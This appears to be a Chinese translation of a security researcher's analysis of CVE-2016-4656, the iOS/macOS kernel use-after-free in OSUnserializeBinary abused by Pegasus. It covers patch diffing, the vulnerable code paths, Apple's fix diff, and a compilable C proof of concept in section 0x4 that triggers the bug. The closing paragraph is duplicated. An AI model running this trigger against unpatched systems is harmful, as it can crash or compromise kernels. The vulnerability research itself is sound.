漏洞分析(四)CVE-2016-4656 PEGASUS iOS内核漏洞
0x0 背景
2016年8月25日,Apple 发布了iOS 9.3.5安全更新,以修复PEGASUS的iOS间谍工具。与之前发现的iOS恶意软件不同,此工具使用了三个不同的 0day漏洞来攻击iOS设备。不过,有关这些漏洞的公开信息相当少,因为Citizenlab、Lookout和Apple并未公开恶意代码样本,因此也无法进行第三方分析。
所以这次决定看看Apple发布的安全补丁,以便弄清楚PEGASUS滥用的漏洞。由于Stefan Esser专注于iOS内核问题,因此只涉及CVE-2016-4656内核漏洞。
0x1 补丁分析
不过分析iOS安全补丁并不那样简单。iOS 9内核仅以加密格式存储在设备和固件文件中。因此,为了获取解密内核的副本,要么具有允许解密内核的底层漏洞,要么对有问题的iOS版本进行越狱并从中获取内核内存转储。
本次决定使用越狱来从iOS测试设备中转储iOS 9.3.4和iOS 9.3.5内核。可以参考Mathew Solnik在博客文章中描述的方法,里面公开了通过内核漏洞从物理内存中转储完全解密的iOS内核的方法。
获取内核转储后,需要对比分析两个内核的差异,可以使用开源二进制diff插件Diaphora for IDA来完成。为了进行比较,先将iOS 9.3.4内核加载到IDA中,然后等待自动分析完成,然后使用Diaphora将当前的IDA数据库转储到SQLITE数据库格式中。之后再将iOS 9.3.5内核重复此过程,然后让Diaphora将这两个数据库区分开来。
通过Diaphora可以发现了一些由iOS 9.3.5改变的函数,但是大多数这些变化只是跳跃目标的变化,不过从更改的函数列表中可以清楚地看出,最有可能的函数似乎是
OSUnserializeXML
。
不过,由于重新排序导致iOS 9.3.4和iOS 9.3.5之间的函数发生了很大变化,所以分析差异会非常困难。好在通过进一步的分析,发现这个函数实际上是内联到另一个函数,通过查看与iOS内核非常相似的XNU源代码就可以更容易地找到漏洞,OS X 10.11.6的XNU内核可以在
opensource.apple.com
上找到。
查看代码显示内联函数实际上是OSUnserializeBinary:
OSObject*
OSUnserializeXML(const char *buffer, size_t bufferSize, OSString **errorString)
{
if (!buffer) return (0);
if (bufferSize < sizeof(kOSSerializeBinarySignature)) return (0);
if (!strcmp(kOSSerializeBinarySignature, buffer)) return OSUnserializeBinary(buffer, bufferSize, errorString);
// XML must be null terminated
if (buffer[bufferSize - 1]) return 0;
return OSUnserializeXML(buffer, errorString);
}
0x2 OSUnserializeBinary
OSUnserializeBinary是OSUnserializeXML中添加的较新代码,用于处理二进制序列化数据。因此,此函数以与OSUnserializeXML使用相同的方式接收用户输入。这意味着攻击者可以通过简单地调用允许序列化参数的任何IOKit API(或mach API)函数来滥用它们,例如简单的IOKit匹配函数。这也意味着可以从iOS或OS X上使用的任何沙箱中触发漏洞。
这个新函数的源代码位于
libkern/c++/OSSerializeBinary.cpp
中,可以进行源码审计,而不用分析补丁。新序列化的数据格式不是很复杂,它由一个32位标识符组成,然后是32位对齐的标记和数据对象。
支持以下数据类型:
- Dictionary
- Array
- Set
- Number
- Symbol
- String
- Data
- Boolean
- Object (对反序列化对象的引用)
其中,在32位的24-30位中对这些数据类型进行编码,较低的24位被保留作为数字数据,例如存储长度或集合元素计数器。第31位标记集合的最后一个元素,所有其他数据(字符串,符号,二进制数据,数字)在数据流中四个字节对齐。有关示例,请参阅下面列出的POC。
0x3 漏洞
发现漏洞非常简单,因为它看起来非常类似于PHP函数unserialize()中的UAF漏洞。OSUnserialize()中的漏洞源于相同的原因:反序列化器可以在反序列化期间引用先前释放的对象。
每当反序列化一个对象时,它就会被添加到一个对象表中。这个代码看起来像这样:
if (!isRef)
{
setAtIndex(objs, objsIdx, o);
if (!ok) break;
objsIdx++;
}
这里与PHP一样犯了同样的错误,因为setAtIndex()宏不会增加已标记对象的引用计数器,如下所示:
define setAtIndex(v, idx, o)
if (idx >= v##Capacity)
{
uint32_t ncap = v##Capacity + 64;
typeof(v##Array) nbuf = (typeof(v##Array)) kalloc_container(ncap * sizeof(o));
if (!nbuf) ok = false;
if (v##Array)
{
bcopy(v##Array, nbuf, v##Capacity * sizeof(o));
kfree(v##Array, v##Capacity * sizeof(o));
}
v##Array = nbuf;
v##Capacity = ncap;
}
if (ok) v##Array[idx] = o; <---- remember object WITHOUT COUNTING THE REFERENCE
如果在反序列化期间不释放对象,则不跟踪
v##Array
中的引用将不会有问题。但是,至少有一个代码分支允许在反序列化期间释放对象。
从下面的代码中可以看出,字典元素支持OSSymbol和OSString。但是,在OSString情况下,它们会转换为OSSymbol,然后销毁OSString对象。不幸的是被销毁的OSString对象已经添加到OBJ文件对象表。
if (dict)
{
if (sym)
{
DEBG("%s = %s\n", sym->getCStringNoCopy(), o->getMetaClass()->getClassName());
if (o != dict) ok = dict->setObject(sym, o, true);
o->release();
sym->release();
sym = 0;
}
else
{
sym = OSDynamicCast(OSSymbol, o);
if (!sym && (str = OSDynamicCast(OSString, o)))
{
sym = (OSSymbol *) OSSymbol::withString(str);
o->release(); <---- destruction of OSString object that is already in objs table
o = 0;
}
ok = (sym != 0);
}
}
因此,可以简单地使用kOSSerializeObject数据类型来创建已销毁OSString对象的引用,这是典型的UAF漏洞。
0x4 POC
找出问题后,创建POC如下来触发此漏洞,可以在macOS上尝试(与iOS一样易受攻击):
/*
* Simple POC to trigger CVE-2016-4656 (C) Copyright 2016 Stefan Esser / SektionEins GmbH
* compile on OS X like:
* gcc -arch i386 -framework IOKit -o ex exploit.c
*/
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <mach/mach.h>
#include <IOKit/IOKitLib.h>
#include <IOKit/iokitmig.h>
enum
{
kOSSerializeDictionary = 0x01000000U,
kOSSerializeArray = 0x02000000U,
kOSSerializeSet = 0x03000000U,
kOSSerializeNumber = 0x04000000U,
kOSSerializeSymbol = 0x08000000U,
kOSSerializeString = 0x09000000U,
kOSSerializeData = 0x0a000000U,
kOSSerializeBoolean = 0x0b000000U,
kOSSerializeObject = 0x0c000000U,
kOSSerializeTypeMask = 0x7F000000U,
kOSSerializeDataMask = 0x00FFFFFFU,
kOSSerializeEndCollecton = 0x80000000U,
};
#define kOSSerializeBinarySignature "\323\0\0"
int main()
{
char * data = malloc(1024);
uint32_t * ptr = (uint32_t *) data;
uint32_t bufpos = 0;
mach_port_t master = 0, res;
kern_return_t kr;
/* create header */
memcpy(data, kOSSerializeBinarySignature, sizeof(kOSSerializeBinarySignature));
bufpos += sizeof(kOSSerializeBinarySignature);
/* create a dictionary with 2 elements */
*(uint32_t *)(data+bufpos) = kOSSerializeDictionary | kOSSerializeEndCollecton | 2; bufpos += 4;
/* our key is a OSString object */
*(uint32_t *)(data+bufpos) = kOSSerializeString | 7; bufpos += 4;
*(uint32_t *)(data+bufpos) = 0x41414141; bufpos += 4;
*(uint32_t *)(data+bufpos) = 0x00414141; bufpos += 4;
/* our data is a simple boolean */
*(uint32_t *)(data+bufpos) = kOSSerializeBoolean | 64; bufpos += 4;
/* now create a reference to object 1 which is the OSString object that was just freed */
*(uint32_t *)(data+bufpos) = kOSSerializeObject | 1; bufpos += 4;
/* get a master port for IOKit API */
host_get_io_master(mach_host_self(), &master);
/* trigger the bug */
kr = io_service_get_matching_services_bin(master, data, bufpos, &res);
printf("kr: 0x%x\n", kr);
}
0x5 后续
分析完上述部分后,发现了两个细节:
- OSUnserializeBinary()已经在2016年5月被苹果公司修补过一次,修复了上文中的UAF漏洞。
发布该补丁是为了修复2016年1月11日Brandon Azad向Apple报告的漏洞CVE-2016-1828 ,详见Mac OS X Privilege Escalation via Use-After-Free: CVE-2016-1828。 - 上文描述的UAF漏洞是在iOS 9和OS X 10.11之前的代码中,据悉PEGASUS与早期的iOS版本兼容,Apple甚至修补了早期的macOS版本,因此所描述的UAF漏洞不太可能是PEGASUS所使用的漏洞。
所以下面对PEGASUS使用漏洞进行一些更新。
0x6 OSUnserializeBinary()旧代码
393 if (dict)
394 {
395 if (sym)
396 {
397 DEBG("%s = %s\n", sym->getCStringNoCopy(), o->getMetaClass()->getClassName());
398 if (o != dict) ok = dict->setObject(sym, o);
399 o->release();
400 sym->release();
401 sym = 0;
402 }
403 else
404 {
405 sym = OSDynamicCast(OSSymbol, o);
406 ok = (sym != 0);
407 }
408 }
在iOS 9.0和OS 10.11之前,dictionary keys必须是OSSymbol对象,而OSString代码路径尚未添加。这意味着上文中分析中解释的UAF触发器不适用于此旧版本的代码。
此外,仔细查看此代码并将其更详细地与上文分析进行比较,在旧版本的代码中,对setObject()的调用只有两个参数而不是三个,这是因为旧版尚未修复CVE-2016-1828。
现在详细地查看上面的代码,找出可以触发UAF条件的代码路径如下:
触发1:
在此代码中触发UAF条件的第一种方法是CVE-2016-1828:
- 第398行会将
dict
的k1
(sym)设置为对象o1
- 这会将
o1
和k1
的计数器增加一(从1到2) - 在第399行中,释放了对象
o1
,o1
计数器减少到1 - 在400行,对象
k1
(sym )被释放,k1
计数器减到1 - 上面步骤都很正常,但仍有字典保持了对这两个对象的引用
- 当下一个对象
o2
被反序列化并插入到dict
中时,重复使用的相似密钥k1
在398行代码即方法setObject()中,将用o2
取代o1
。
在替换期间,o1
的计数器减少1到0。 o1
从内存中释放出来,但反序列化器会试图再次创建对该对象的引用,从而导致UAF。
触发2
在此代码中触发UAF条件的第二种方法是PEGASUS(CVE-2016-4656)可能使用的方法:
- 如果插入
dict
的对象o
是dict
自身,则398行不会调用方法setObject() - 当没有执行setObject()时,
o
和sym
的引用计数器永远不会增加 - 第399行将
o
的引用计数器减少到大于或等于1的某个值(因为它是对dict
自身的引用) - 第400行将
sym
的引用计数器减少到0可能性最大(比如符号是某个字符串) - 此时OSSymbol对象
sym
被破坏 - 在此之后任何尝试创建对象
sym
的引用都将是UAF。
如上,iOS 9和OS X 10.11之前的代码已经有两个独立但非常相关的UAF触发代码路径。这意味着与本文第一部分中描述的第三个代码路径一起,仅仅20行代码,却有三个UAF触发代码路径。
0x7 修复
早在Apple发布CVE-2016-1828的修补程序时,他们对代码所做的唯一更改就是在调用setObject()方法时添加第三个参数
true
。if (o != dict) ok = dict->setObject(sym, o, true);
这将确保在尝试覆盖已设置的字典键时出现错误。因此,Brandon Azad报道的UAF情况不再被触发。
不幸的是,Apple还没有对OSUnserializeBinary()执行安全审计,否则熟练的审计员会意识到代码中有许多直接调用release(),这些调用可以用来提前从objsArray中释放对象,从而触发UAF。这将导致只是添加true作为setObject的第三个参数是一个不完整的修复。因此,在这20行代码中的另外两个UAF触发器仍可用于利用内核并完全穿透系统。
PEGASUS被发现后,现在苹果似乎已经花费更多的精力放在解决那些20行代码,因为他们不仅撤销为CVE-2016-1828的补丁,更是重构函数,现在函数中不再有任何调用release()部分(除了清理一个错误和一个临时变量)。这样,objsArray中的所有对象在返回结果之前会在函数的末尾被释放。从而在反序列化期间,引用计数器永远不会降为0。
可以在此处找到应用了补丁的
OSSerializeBinary.cpp
源码,对比差异如下:--- OSSerializeBinary.cpp 2016-05-09 22:28:11.000000000 +0200
+++ OSSerializeBinaryPatched.cpp 2016-09-05 16:19:03.000000000 +0200
@@ -237,19 +237,21 @@
/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */
-#define setAtIndex(v, idx, o) \
+#define setAtIndex(v, idx, o, max) \
if (idx >= v##Capacity) \
{ \
- uint32_t ncap = v##Capacity + 64; \
- typeof(v##Array) nbuf = (typeof(v##Array)) kalloc_container(ncap * sizeof(o)); \
- if (!nbuf) ok = false; \
- if (v##Array) \
- { \
- bcopy(v##Array, nbuf, v##Capacity * sizeof(o)); \
- kfree(v##Array, v##Capacity * sizeof(o)); \
- } \
- v##Array = nbuf; \
- v##Capacity = ncap; \
+ if (v##Capacity < max) { \
+ uint32_t ncap = v##Capacity + 64; \
+ typeof(v##Array) nbuf = (typeof(v##Array)) kalloc_container(ncap * sizeof(o)); \
+ if (!nbuf) ok = false; \
+ if (v##Array) \
+ { \
+ bcopy(v##Array, nbuf, v##Capacity * sizeof(o));\
+ kfree(v##Array, v##Capacity * sizeof(o)); \
+ } \
+ v##Array = nbuf; \
+ v##Capacity = ncap; \
+ } else ok = false; \
} \
if (ok) v##Array[idx] = o;
@@ -338,13 +340,12 @@
case kOSSerializeObject:
if (len >= objsIdx) break;
o = objsArray[len];
- o->retain();
isRef = true;
break;
case kOSSerializeNumber:
bufferPos += sizeof(long long);
- if (bufferPos > bufferSize) break;
+ if (bufferPos > bufferSize || ((len != 32) && (len != 64) && (len != 16) && (len != 8))) break;
value = next[1];
value <<= 32;
value |= next[0];
@@ -354,7 +355,7 @@
case kOSSerializeSymbol:
bufferPos += (wordLen * sizeof(uint32_t));
- if (bufferPos > bufferSize) break;
+ if (bufferPos > bufferSize || len < 2) break;
if (0 != ((const char *)next)[len-1]) break;
o = (OSObject *) OSSymbol::withCString((const char *) next);
next += wordLen;
@@ -386,8 +387,11 @@
if (!isRef)
{
- setAtIndex(objs, objsIdx, o);
- if (!ok) break;
+ setAtIndex(objs, objsIdx, o, 0x1000000);
+ if (!ok) {
+ o->release();
+ break;
+ }
objsIdx++;
}
@@ -395,33 +399,35 @@
{
if (sym)
{
- DEBG("%s = %s\n", sym->getCStringNoCopy(), o->getMetaClass()->getClassName());
- if (o != dict) ok = dict->setObject(sym, o, true);
- o->release();
- sym->release();
- sym = 0;
+ OSSymbol *sym2 = OSDynamicCast(OSSymbol, sym);
+ if (!sym2 && (str = OSDynamicCast(OSString, sym)))
+ {
+ sym2 = (OSSymbol *) OSSymbol::withString(str);
+ ok = (sym2 != 0);
+ if (!sym2) break;
+ }
+
+ if (o != dict) ok = dict->setObject(sym2, o);
+ if (sym2 && sym2 != sym) {
+ sym2->release();
+ }
}
else
{
- sym = OSDynamicCast(OSSymbol, o);
- if (!sym && (str = OSDynamicCast(OSString, o)))
- {
- sym = (OSSymbol *) OSSymbol::withString(str);
- o->release();
- o = 0;
- }
- ok = (sym != 0);
+ sym = o;
}
}
else if (array)
{
ok = array->setObject(o);
- o->release();
}
else if (set)
{
- ok = set->setObject(o);
- o->release();
+ ok = set->setObject(o);
+ }
+ else if (result)
+ {
+ ok = false;
}
else
{
@@ -436,7 +442,7 @@
if (!end)
{
stackIdx++;
- setAtIndex(stack, stackIdx, parent);
+ setAtIndex(stack, stackIdx, parent, 0x10000);
if (!ok) break;
}
DEBG("++stack[%d] %p\n", stackIdx, parent);
@@ -462,15 +468,19 @@
}
}
}
- DEBG("ret %p\n", result);
-
- if (objsCapacity) kfree(objsArray, objsCapacity * sizeof(*objsArray));
- if (stackCapacity) kfree(stackArray, stackCapacity * sizeof(*stackArray));
- if (!ok && result)
+ if (!ok)
{
- result->release();
result = 0;
}
+ if (objsCapacity) {
+ uint32_t i;
+ for (i = (result?1:0); i < objsIndx; i++) {
+ objsArray[i]->release();
+ }
+ kfree(objsArray, objsCapacity * sizeof(*objsArray));
+ }
+ if (stackCapacity) kfree(stackArray, stackCapacity * sizeof(*stackArray));
+
return (result);
}
0x8 总结
在过去的两周里,许多安全专业人士称赞苹果公司对PEGASUS威胁做出快速反应。之所以给予这种表扬,是因为有关各方保留了研究样本,并没有透露任何有关内核漏洞的详细信息。没有这些信息,公众只是假设PEGASUS监控恶意软件正在使用全新的内核漏洞来接管iOS设备,并且Apple在2016年8月中旬首次听到这些问题。
不幸的是,在弄清了PEGASUS使用的内核漏洞后,出现了一个完全不同的画面:被称为CVE-2016-4656的内核漏洞仍然在代码中,因为Apple在2016年5月修补了CVE-2016-1828而没有对相关代码进行安全审查。在只有20行代码中,存在允许UAF的三个代码路径。而Apple只修复了其中一条路径,尽管其他release()方法在代码中明显紧挨着它。此外,现在发布的PEGASUS补丁显示,通过稍微重新设计代码,Apple能够同时解决所有三个问题。Brandon Azad在1月份报道UAF之后,我们认为这是一次巨大的疏忽。如果Apple以不同的方式修复了CVE-2016-1828,那么CVE-2016-4656将永远不会被滥用。
不幸的是,这不是Apple第一次拙劣的进行安全修复。SektionEins已经强调了这个令人不安的问题,而苹果两年来一次又一次拙劣的进行安全修复。由于反复强调Apple缺乏安全补丁的质量保证,这使得我们与Apple关系极其恶劣,而且导致iOS AppStore下架了我们的SysSecInfo安全应用程序。详情见此。
最后的思考:
考察过Brandon Azad的CVE-2016-1828和PEGASUS的CVE-2016-4656,我们认为PEGASUS中使用的内核bug比Brandon Azad发现的bug更难以发现并更难以利用。这让我们相信,在CVE-2016-1828的修复程序已经发布之前,应该尚未编写PEGASUS中使用的漏洞,否则该作者应该会发现并选择更容易利用的漏洞。这可能意味着CVE-2016-1828已被用于以前的PEGASUS版本,或者该作者发现了CVE-2016-1828修复不完整。但这些也都只是猜测。
考察过Brandon Azad的CVE-2016-1828和PEGASUS的CVE-2016-4656,我们认为PEGASUS中使用的内核bug比Brandon Azad发现的bug更难以发现并更难以利用。这让我们相信,在CVE-2016-1828的修复程序已经发布之前,应该尚未编写PEGASUS中使用的漏洞,否则该作者应该会发现并选择更容易利用的漏洞。这可能意味着CVE-2016-1828已被用于以前的PEGASUS版本,或者该作者发现了CVE-2016-1828修复不完整。但这些也都只是猜测。